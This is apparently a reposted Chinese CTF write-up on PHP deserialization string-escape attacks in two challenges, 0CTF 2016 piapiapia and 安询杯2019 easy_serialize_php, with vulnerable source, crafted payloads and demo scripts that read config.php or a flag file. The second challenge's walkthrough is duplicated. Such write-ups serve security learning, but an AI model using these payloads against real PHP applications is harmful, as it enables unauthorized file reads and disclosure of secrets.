借用哈大佬们的名言 任何具有一定结构的数据, 如果经过了某些处理而把结构体本身的结构给打乱了 ,则有可能会产生漏洞。 0CTF 2016piapiapia-----反序列化后长度递增 安询杯2019-easy_serialize_php-----反序列化后长度递减
0CTF 2016piapiapia 由于是代码审计,直接访问 www.zip 发现备份的源码,有一下文件,flag就在 config.php ,因此读取即可
class.php //主要有mysql类(mysql基本操作)和user类(继承mysql实现功能点) config.php //环境配置 index.php //登陆 profile.php //查看自己上传的文件 register.php //注册 update.php //文件上传
源码分析 然后分析代码,我喜欢通过功能点来分析,既然有注册,登陆,那么自然来看看 SQL 咯,发现 class.php 中 mysql 类的filter过滤函数,过滤了增删查改,基本无望. 后面就看看文件上传,发现也对上传的文件参数进行了限制,但是发现对文件进行了序列化处理,那么肯定有反序列化,在 profile.php 中发现对上传的文件进行反序列化处理,并对文件 $profile['photo'] 进行读取.我们再回到文件上传点,发现 $profile['photo'] = 'upload/' . md5($file['name']); ,但是我们无法获取加密后的文件值,后面有又看到 文件上传是先序列化,再进过 filter 函数替换一些关键字,再反序列化 ,因此文件可能发生改变,因此可能有漏洞 payload构造 我们知道,PHP反序列化时以 ; 作为分隔点, } 做为结束标志,根据长度来判断读取多少字符,我们无法控制 $profile['photo'] 但是可以控制 nickname ,而 nickname 又进行了长度限制, strlen 函数却无法处理数组,因此用 数组进行绕过 即可我们在这里截断,那么后面的则会被废弃不再读取,而我们要构造的的payload是,最开始的 ";} 是为了闭合前面数组 nickname 的 { ,后面的 ;} 是为了截断,让反序列化结束,不再读取后面的内容,当然这些都不能是字符哈. ";}s:5:"photo";s:10:"config.php";}
";}s:5:"photo";s:10:"config.php";}
这时构造了 payload ,那么就要来计算溢出数量了,我们构造的 payload长度为34 ,那么就要增加34个长度,由于 where 变成 hacker 会增加一个长度,那么我们就需要34个 where ,最终payload
wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}
原理解析 <?php
function filter($string) {
$escape = array('\'', '\\\\');
$escape = '/' . implode('|', $escape) . '/';
$string = preg_replace($escape, '_', $string);
$safe = array('select', 'insert', 'update', 'delete', 'where');
$safe = '/' . implode('|', $safe) . '/i';
return preg_replace($safe, 'hacker', $string);
}
$profile = array(
'phone'=>'01234567890',
'email'=>'12345678@11.com',
'nickname'=>array('wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}'),
'photo'=>'upload/'.md5('1.jpg')
);
print_r(serialize($profile));
echo PHP_EOL;
print_r(filter(serialize($profile)));
echo PHP_EOL;
var_dump(unserialize(filter(serialize($profile))));
echo PHP_EOL;
?>
输出结果展示,最开始不用进过 filter 函数反序列化时, nickname 数组的第一个值没被截断是一个整体
wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";},刚好204个长度,经过filter过滤函数后, where 变成了 hacker ,反序列化的长度变化了,但是又只读取204的长度,则 s:5:"photo";s:10:"config.php";}";} 就多出来了,作为另一个反序列化的其中一个元素,而末尾的 '} 又不是字符,因此被认为反序列化结束了,后面的内容被丢弃,因此可以任意读取文件.
a:4:{s:5:"phone";s:11:"01234567890";s:5:"email";s:15:"12345678@11.com";s:8:"nickname";a:1:{i:0;s:204:"wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}";}s:5:"photo";s:39:"upload/f3ccdd27d2000e3f9255a7e3e2c48800";} a:4:{s:5:"phone";s:11:"01234567890";s:5:"email";s:15:"12345678@11.com";s:8:"nickname";a:1:{i:0;s:204:"hackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhacker";}s:5:"photo";s:10:"config.php";}";}s:5:"photo";s:39:"upload/f3ccdd27d2000e3f9255a7e3e2c48800";} array(4) { 'phone' => string(11) "01234567890" 'email' => string(15) "12345678@11.com" 'nickname' => array(1) { [0] => string(204) "hackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhacker" } 'photo' => string(10) "config.php" }
安询杯2019-easy_serialize_php
源码 <?php
$function = @$_GET['f'];
function filter($img){
$filter_arr = array('php','flag','php5','php4','fl1g');
$filter = '/'.implode('|',$filter_arr).'/i';
return preg_replace($filter,'',$img);
}
if($_SESSION){
unset($_SESSION);
}
$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;
extract($_POST);
if(!$function){
echo '<a href="index.php?f=highlight_file">source_code</a>';
}
if(!$_GET['img_path']){
$_SESSION['img'] = base64_encode('guest_img.png');
}else{
$_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
}
$serialize_info = filter(serialize($_SESSION));
if($function == 'highlight_file'){
highlight_file('index.php');
}else if($function == 'phpinfo'){
eval('phpinfo();'); //maybe you can find something in here!
}else if($function == 'show_image'){
$userinfo = unserialize($serialize_info);
echo file_get_contents(base64_decode($userinfo['img']));
}
分析 源码不多,我就习惯先通读一遍再回溯可能出现的漏洞点,找可控参数.通读完全发现可能存在的漏洞点: extract 变量覆盖, file_get_contents 任意文件读取. 将变量 $userinfo['img'] 逆推回去发现,是由参数 img_path 控制的,但是经过 sha1 加密,我们无法得知加密后内容,但结合前面的 extract 变量覆盖,我们可以自己POST构造. 构造了之后,会经过序列化 filter 函数替换一些字符( 那么此时序列化后的数据则发生了变化,可能存在漏洞 ),再反序列化,读取参数值. payload构造 我们任然利用序列化,经过过滤后长度发生变化来构造payload,首先明白序列化后,有三个元素,分别是 img , user , function ,而我们能控制的只有后面两个,我们需要构造的payload是这样的 f";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:3:"tql";s:3:"tql";}
但是不经任何改变则是这样的 a:3:{s:4:"user";s:5:"guest";s:8:"function";s:10:"show_image";s:3:"img";s:40:"1b75545ff7fcd63fb78a7e4f52a0500d4f39b8f5";}
我还是利用截断的思想不让其读取元素 img 的值,我们自己来构造这个值,只有两个参数,必须在 function 哪里截断,而这个反序列是长度递减,那么就是选择元素吞噬( 吞噬的长度自己酌情参考,一般是到自己能控制的点就好 )后面的长度,来构造自己的payload咯,我们就选 user 元素吧, len('";s:8:"function";s:10:"' )的长度为23,但是我们无法构造23个长度,我们可以多吞噬一个,24个字符,那么就用 6个flag 就好,但是这样后面的序列化就混乱了,我们就要添加自己的payload,并补全.虽然这样补好了,但是只有两个元素,这里需要三个元素,我们就再添加元素,并将后面的 img 进行截断 a:3:{s:4:"user";s:24:"";s:8:"function";s:10:"show_image";s:3:"img";s:40:"1b75545ff7fcd63fb78a7e4f52a0500d4f39b8f5";}
a:3:{s:4:"user";s:24:"";s:8:"function";s:2:"22";s:3:"img";s:40:"1b75545ff7fcd63fb78a7e4f52a0500d4f39b8f5";}
截断只需 } 即可,并且不为读取的字符即可,因此添加 f";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:3:"tql";s:3:"tql";} ,这里我们新增了一个元素,因此吞噬后 function 元素消失了,随便补充好元素即可. 原理解析 <?php
function filter($img){
$filter_arr = array('php','flag','php5','php4','fl1g');
$filter = '/'.implode('|',$filter_arr).'/i';
return preg_replace($filter,'',$img);
}
$arr = array(
"user"=>"flagflagflagflagflagflag",
"function"=>'2";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:3:"tql";s:3:"tql";}',
//"user"=>'guest',
//"function"=>'show_image',
"img"=>sha1(base64_encode('guest_img.png'))
);
print_r(serialize($arr));
echo PHP_EOL;
print_r(filter(serialize($arr)));
echo PHP_EOL;
print_r(unserialize(filter(serialize($arr))));
?>
输出展示 a:3:{s:4:"user";s:24:"flagflagflagflagflagflag";s:8:"function";s:62:"2";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:3:"tql";s:3:"tql";}";s:3:"img";s:40:"1b75545ff7fcd63fb78a7e4f52a0500d4f39b8f5";}
a:3:{s:4:"user";s:24:"";s:8:"function";s:62:"2";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:3:"tql";s:3:"tql";}";s:3:"img";s:40:"1b75545ff7fcd63fb78a7e4f52a0500d4f39b8f5";}
Array
(
[user] => ";s:8:"function";s:62:"2
[img] => ZDBnM19mMWFnLnBocA==
[tql] => tql
)
payload构造 我们任然利用序列化,经过过滤后长度发生变化来构造payload,首先明白序列化后,有三个元素,分别是 img , user , function ,而我们能控制的只有后面两个,我们需要构造的payload是这样的 f";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:3:"tql";s:3:"tql";}
但是不经任何改变则是这样的 a:3:{s:4:"user";s:5:"guest";s:8:"function";s:10:"show_image";s:3:"img";s:40:"1b75545ff7fcd63fb78a7e4f52a0500d4f39b8f5";}
我还是利用截断的思想不让其读取元素 img 的值,我们自己来构造这个值,只有两个参数,必须在 function 哪里截断,而这个反序列是长度递减,那么就是选择元素吞噬( 吞噬的长度自己酌情参考,一般是到自己能控制的点就好 )后面的长度,来构造自己的payload咯,我们就选 user 元素吧, len('";s:8:"function";s:10:"' )的长度为23,但是我们无法构造23个长度,我们可以多吞噬一个,24个字符,那么就用 6个flag 就好,但是这样后面的序列化就混乱了,我们就要添加自己的payload,并补全.虽然这样补好了,但是只有两个元素,这里需要三个元素,我们就再添加元素,并将后面的 img 进行截断 a:3:{s:4:"user";s:24:"";s:8:"function";s:10:"show_image";s:3:"img";s:40:"1b75545ff7fcd63fb78a7e4f52a0500d4f39b8f5";}
a:3:{s:4:"user";s:24:"";s:8:"function";s:2:"22";s:3:"img";s:40:"1b75545ff7fcd63fb78a7e4f52a0500d4f39b8f5";}
截断只需 } 即可,并且不为读取的字符即可,因此添加 f";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:3:"tql";s:3:"tql";} ,这里我们新增了一个元素,因此吞噬后 function 元素消失了,随便补充好元素即可. 原理解析 <?php
function filter($img){
$filter_arr = array('php','flag','php5','php4','fl1g');
$filter = '/'.implode('|',$filter_arr).'/i';
return preg_replace($filter,'',$img);
}
$arr = array(
"user"=>"flagflagflagflagflagflag",
"function"=>'2";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:3:"tql";s:3:"tql";}',
//"user"=>'guest',
//"function"=>'show_image',
"img"=>sha1(base64_encode('guest_img.png'))
);
print_r(serialize($arr));
echo PHP_EOL;
print_r(filter(serialize($arr)));
echo PHP_EOL;
print_r(unserialize(filter(serialize($arr))));
?>
输出展示 a:3:{s:4:"user";s:24:"flagflagflagflagflagflag";s:8:"function";s:62:"2";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:3:"tql";s:3:"tql";}";s:3:"img";s:40:"1b75545ff7fcd63fb78a7e4f52a0500d4f39b8f5";}
a:3:{s:4:"user";s:24:"";s:8:"function";s:62:"2";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:3:"tql";s:3:"tql";}";s:3:"img";s:40:"1b75545ff7fcd63fb78a7e4f52a0500d4f39b8f5";}
Array
(
[user] => ";s:8:"function";s:62:"2
[img] => ZDBnM19mMWFnLnBocA==
[tql] => tql
)
<?php function filter($img){ $filter_arr = array('php','flag','php5','php4','fl1g'); $filter = '/'.implode('|',$filter_arr).'/i'; return preg_replace($filter,'',$img); } $arr = array( "user"=>"flagflagflagflagflagflag", "function"=>'2";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:3:"tql";s:3:"tql";}', //"user"=>'guest', //"function"=>'show_image', "img"=>sha1(base64_encode('guest_img.png')) ); print_r(serialize($arr)); echo PHP_EOL; print_r(filter(serialize($arr))); echo PHP_EOL; print_r(unserialize(filter(serialize($arr)))); ?>输出展示
a:3:{s:4:"user";s:24:"flagflagflagflagflagflag";s:8:"function";s:62:"2";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:3:"tql";s:3:"tql";}";s:3:"img";s:40:"1b75545ff7fcd63fb78a7e4f52a0500d4f39b8f5";} a:3:{s:4:"user";s:24:"";s:8:"function";s:62:"2";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:3:"tql";s:3:"tql";}";s:3:"img";s:40:"1b75545ff7fcd63fb78a7e4f52a0500d4f39b8f5";} Array ( [user] => ";s:8:"function";s:62:"2 [img] => ZDBnM19mMWFnLnBocA== [tql] => tql )
以上就是关于PHP反序列化字符串逃逸的详细内容!
声明:本文来自网络,不代表【好得很程序员自学网】立场,转载请注明出处:http://www.haodehen.cn/did52694